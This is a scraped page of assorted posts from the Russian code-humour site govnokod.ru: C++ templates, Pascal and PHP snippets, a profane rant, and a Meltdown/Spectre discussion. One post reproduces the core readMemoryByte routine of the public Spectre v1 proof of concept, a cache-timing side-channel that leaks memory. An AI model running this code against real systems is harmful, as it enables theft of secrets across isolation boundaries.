- 1
- 2
- 3
https://software.intel.com/sites/default/files/managed/2b/80/5-level_paging_white_paper.pdf
http://lkml.iu.edu/hypermail/linux/kernel/1612.1/00383.html
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−1
https://software.intel.com/sites/default/files/managed/2b/80/5-level_paging_white_paper.pdf
http://lkml.iu.edu/hypermail/linux/kernel/1612.1/00383.html
x86-64 is currently limited to 256 TiB of virtual address space and 64 TiB
of physical address space. We are already bumping into this limit: some
vendors offers servers with 64 TiB of memory today.
To overcome the limitation upcoming hardware will introduce support for
5-level paging. It is a straight-forward extension of the current page
table structure adding one more layer of translation.
It bumps the limits to 128 PiB of virtual address space and 4 PiB of physical address space.
This "ought to be enough for anybody" Â.
https://imgs.xkcd.com/comics/supported_features.png
0
#include <typeinfo>
#include <string>
#include <iostream>
using namespace std::literals::string_literals;
using std::cout;
#if defined(__GNUG__) || defined(__clang__)
#include <cxxabi.h>
template <typename T>
std::string get_real_type() {
int status;
char *real_name = abi::__cxa_demangle(typeid(T).name(), nullptr, nullptr, &status);
return (status == 0 ? std::string(real_name) : ("(not demangled)"s + typeid(T).name()));
}
#else
template <typename T>
std::string get_real_type() {
return typeid(T).name();
}
#endif
template <typename T>
struct overload_generator {
std::string get_type_impl() {
return get_real_type<T>();
}
};
template <typename... Ts>
struct printer : overload_generator<Ts>...
{
using overload_generator<Ts>::get_type_impl...;
template<typename T>
void println_type() {
cout << overload_generator<T>::get_type_impl() << '\n';
}
template <typename... Us>
void println_types() {
println_types_impl((std::string(overload_generator<Us>::get_type_impl()) + "\n")...);
}
private:
template <typename... Us>
void println_types_impl(Us... args) {
(cout << ... << args);
}
};
int main() {
auto pr = printer<int,long,decltype(nullptr)>();
pr.println_type<long>();
pr.println_types<long, decltype(nullptr),int>();
}
По мотивам http://govnokod.ru/23638#comment395579
Разманглил имена, а то gcc выдает нечитаемую дичь в type_info::name для типов сложнее инта
Ну и сахар из c++17 вроде свёртки аргументов вариативной шаблонной функции (fold expression, хз как лучше перевести) тут тоже есть
0
сука блядь конченые доки сифайла
пидорасы
авторизация через shibboleth сука!
так бы сразу и сказали, что надо два заголовка пихнуть
REMOTE_USER и eppn
но нет
вот вам устаревший мануал по установке куска говна
с использованием другого куска говна
все это на говнотехнологии
сидите ебитесь с tcpdumpом сами
Продам кресло компьютерное не бито не крашено вин на месте в дтп не было лобовое без трещин
0
$urlId = (is_numeric($urlId = explode('-', $url)[0]) ? $urlId : null);
−1
program voynasharov;
uses crt, graphABC;
type shar = class
col, x, y, r: integer;
pm: byte;
constructor Create (ccol, cx, cy, cr: integer);
begin
col:=ccol;
x:=cx;
y:=cy;
r:=cr;
end;
procedure make;
begin
setbrushcolor (col);
circle (x,y,r);
end;
procedure mov;
begin
pm:=random(5);
case pm of
1: x:=x+20;
2: x:=x-20;
3: y:=y-20;
4: y:=y+20;
end;
end;
end;
var first, second:shar;
begin
setwindowsize(1280,720);
first:=shar.Create(666,550,400,60);
second:=shar.Create(1488,740,300,60);
first.make;
second.make;
repeat
//clrscr;
first.mov;
second.mov;
first.make;
second.make;
delay(50);
until first.x=70;
end.
Лёгкий способ наколдовать перекатывание кругов в паскале
0
program sharokat;
uses crt, graphABC;
type shar = class
col, x, y, r: integer;
constructor Create (ccol, cx, cy, cr: integer);
begin
col:=ccol;
x:=cx;
y:=cy;
r:=cr;
end;
procedure make;
begin
setbrushcolor (col);
circle (x,y,r);
end;
end;
var my:shar;
begin
my:=shar.Create(666,100,100,60);
my.make;
end.
Лёгкий способ наколдовать круг в паскале
+1
brainfuck()
.plus .plus .plus .plus .plus .plus .plus
.plus .plus .plus .plus .plus .plus .plus
.begin
.minus.next .plus .plus .plus .plus
.plus .next .plus .plus .plus .plus
.plus .plus .next .plus .plus .plus
.plus .plus .plus .prev .prev .prev
.end
.next .plus .print.next .minus.minus.minus
.minus.minus.print.next .plus .plus .print
.prev .minus.print.plus .print.minus.minus
.minus.minus.print.plus .plus .plus .plus
.print.prev .minus.minus.minus.print
https://github.com/1024--/peetooshnya/blob/master/bfdot.js
0
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack
0
Политота #3
#1: http://govnokod.ru/15804 (не открывается)
#2: http://govnokod.ru/19910
0
Давайте обсудим meltdown и spectre.
Объясните мне кто-нибудь, в чем принципиальное отличие spectre от meltdown? И как оно позволяет читать память других процессов? Все что я пока понял - это чтение памяти ядра, которое уже все прикрыли, и проблемы с жс в браузере.